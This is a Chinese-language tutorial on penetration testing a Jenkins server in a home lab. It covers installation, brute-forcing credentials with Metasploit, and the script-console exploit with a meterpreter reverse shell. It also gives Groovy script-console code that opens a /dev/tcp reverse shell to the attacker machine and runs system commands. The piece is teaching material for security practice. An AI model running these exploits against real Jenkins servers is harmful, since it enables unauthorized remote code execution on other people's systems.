Jenkins 渗透测试

admin 2025年1月9日09:21:40评论6 views字数 3370阅读11分14秒阅读模式
Jenkins 是一款开源自动化服务器,用于持续集成 (CI) 和持续交付 (CD)。它基于 Java 构建,并利用脚本平台实现自动化。Jenkins 可自动执行软件开发生命周期中的构建、测试和部署等任务。这种自动化可加速开发周期、提高代码质量并简化发布。主要功能包括 CI/CD 管道、自动化测试、与版本控制系统集成、通过插件实现的可扩展性以及强大的监控和报告功能。
实验室设置
在本文中,我们将在 Ubuntu 机器上设置 Jenkins 服务器并获取远程代码执行。以下是机器:
目标机器:Ubuntu(192.168.1.4)
攻击者机器:Kali Linux(192.168.1.7)
安装
Jenkins 需要 Java 运行时环境 (JRE) 才能正常运行。在本指南中,我们将使用 OpenJDK 来建立 Java 环境。OpenJDK 的开发工具包在其框架内整合了 JRE。
apt install openjdk-11-jdk
Jenkins 渗透测试
有时,默认的 Ubuntu 存储库可能缺少最新的 Jenkins 版本。因此,建议选择项目维护的存储库来访问最新的功能和补丁。
要将 Jenkins 存储库集成到 Ubuntu 系统,请遵循以下步骤:
首先导入 GPG 密钥以确保包的完整性。
sudo curl -fsSL https://pkg.jenkins.io/debian-stable/jenkins.io-2023.key | sudo tee /usr/share/keyrings/jenkins-keyring.asc > /dev/null
Jenkins 渗透测试
接下来,使用下面提供的命令合并 Jenkins 存储库并将身份验证密钥附加到源列表:
sudo echo deb [signed-by=/usr/share/keyrings/jenkins-keyring.asc] https://pkg.jenkins.io/debian-stable binary/ | sudo tee /etc/apt/sources.list.d/jenkins.list > /dev/null
Jenkins 渗透测试
现在我们可以在 ubuntu 机器上继续安装 Jenkins。
apt install jenkins
Jenkins 渗透测试
安装完成后,可以使用以下命令启动Jenkins:
systemctl start jenkins
可以使用以下命令检查状态:
systemctl status jenkins
Jenkins 渗透测试
配置
安装后,Jenkins 可以配置为顺利运行。通过检查在端口 8080 上运行的服务,Jenkins 服务器需要管理员密码。
Jenkins 渗透测试
通过读取initialAdminPassword文件的内容就可以获取密码
cat /var/lib/Jenkins/secrets/initialAdminPassword
Jenkins 渗透测试
选择安装建议的插件定制 Jenkins并继续安装。
Jenkins 渗透测试
最后一步需要创建第一个管理员用户名和密码。这里我们使用用户名raj和密码123。
Jenkins 渗透测试

最后,输入访问 Jenkins 服务器的 URL。由于我们想在 ubuntu 机器上设置服务器,因此URL 可以输入为http://127.0.0.1:8080/ 。

Jenkins 渗透测试
枚举
成功安装和配置 Jenkins 服务器后,我们可以使用 kali 机器开始利用。从枚举开始,由于 Jenkins 服务器在 ubuntu 机器的 8080 端口运行,因此检查 8080 端口。8080 端口有一个 Jenkins 登录页面,需要输入凭据。
Jenkins 渗透测试
使用 Metasploit 框架进行利用:
由于登录页面需要凭证,因此我们可以使用 Metasploit 框架中提供的辅助工具来检查登录的有效用户名和密码。我们将使用的辅助工具将需要一个用户名文件和一个密码文件。
值得注意的是,对于 CTF 场景,用户名文件可以用作常用用户名列表(https://github.com/danielmiessler/SecLists/blob/master/Usernames/Names/names.txt),密码文件可以用作rockyou.txt。但是,这里我们使用自定义字典来简化扫描。在 Metasploit 框架内可以使用以下命令:
use auxiliary/scanner/http/jenkins_loginset rhosts 192.168.1.4set rport 8080set targeturi /set user_file users.txtset pass_file passwords.txtset verbose falseexploit
Jenkins 渗透测试
观察到用户名和密码已成功枚举。枚举用户名和密码后,现在是时候使用它们来利用目标了。这里可以使用的漏洞是exploit/multi/http/Jenkins_script_console。可以在Metasploit框架中使用以下命令来运行漏洞:
use exploit/multi/http/jenkins_script_consoleshow targetsset target 1set payload linux/x64/meterpreter/reverse_tcpset rhosts 192.168.1.4set rport 8080set targeturi /set username rajset password 123exploit
Jenkins 渗透测试
观察漏洞利用成功执行后是否获得了反向shell。
手动利用(反向 Shell)
要手动利用漏洞,我们需要 Jenkins 控制台的用户名和密码。假设攻击者已经通过暴力破解或其他方法找到了凭证,那么就可以成功登录控制台。
使用先前从辅助设备找到的凭据(raj:123 )登录后。可以访问包含脚本控制台功能的管理 Jenkins功能。
Jenkins 渗透测试
在 Jenkins 中,Groovy是定义作业和管道的主要脚本语言。Groovy 是动态的,在 Java 虚拟机 (JVM) 上运行,与主要基于 Java 的 Jenkins 无缝集成。因此,我们将使用 Groovy 反向 shell 脚本来获取反向 shell。可以从以下 URL 获取Groovy 反向 shell的命令:https: //www.revshells.com并选择 Groovy 脚本有效负载。
Jenkins 渗透测试
现在,在 Jenkins 脚本控制台中使用上述 Groovy 反向 Shell 脚本。在运行脚本之前,请确保使用以下命令在 kali 机器内的端口 443 上启动netcat 监听器:
Jenkins 渗透测试
最后运行上述groovy脚本后在443端口获得反向shell。
Jenkins 渗透测试
获取反向 shell 的另一种方法是通过在脚本控制台中运行以下脚本:
r = Runtime.getRuntime()p = r.exec(["/bin/bash""-c""exec 5<>/dev/tcp/192.168.1.7/443; cat <&5 | while read line; do $line 2>&5 >&5; done"asString[])p.waitFor()
运行脚本之前,请确保在端口 443 上启动监听器。
Jenkins 渗透测试
观察脚本执行后在443端口获得反向shell。
Jenkins 渗透测试
直接执行 Shell 命令
在某些情况下,我们没有监听器来获取反向 shell。在这种情况下,我们可以直接运行脚本并在结果窗口中获取代码的输出。
以下代码用于获取系统命令的输出:
defsout=newStringBuffer(), serr = newStringBuffer()defproc='ipconfig'.execute()proc.consumeProcessOutput(sout, serr)proc.waitForOrKill(1000)println "out> $sout err> $serr"
Jenkins 渗透测试
Jenkins 渗透测试
可用于在结果窗口中获取命令输出的类似代码是:
defproc="id".execute();defos=newStringBuffer();proc.waitForProcessOutput(os, System.err);println(os.toString());
观察运行脚本后可以在结果窗口中直接看到输出。
Jenkins 渗透测试
结论
总之,使用 Jenkins 服务器获取反向 shell 的可能性凸显了对强大安全措施的迫切需求。无论是由于登录信息被盗用还是根本没有身份验证,Jenkins 服务器的脆弱性都表明了我们必须认真对待安全性的原因。组织必须执行严格的访问规则、定期进行安全检查并及时更新系统,以减少未经授权的访问和滥用的可能性。

原文始发于微信公众号(三沐数安):Jenkins 渗透测试

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月9日09:21:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Jenkins 渗透测试http://cn-sec.com/archives/3608298.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息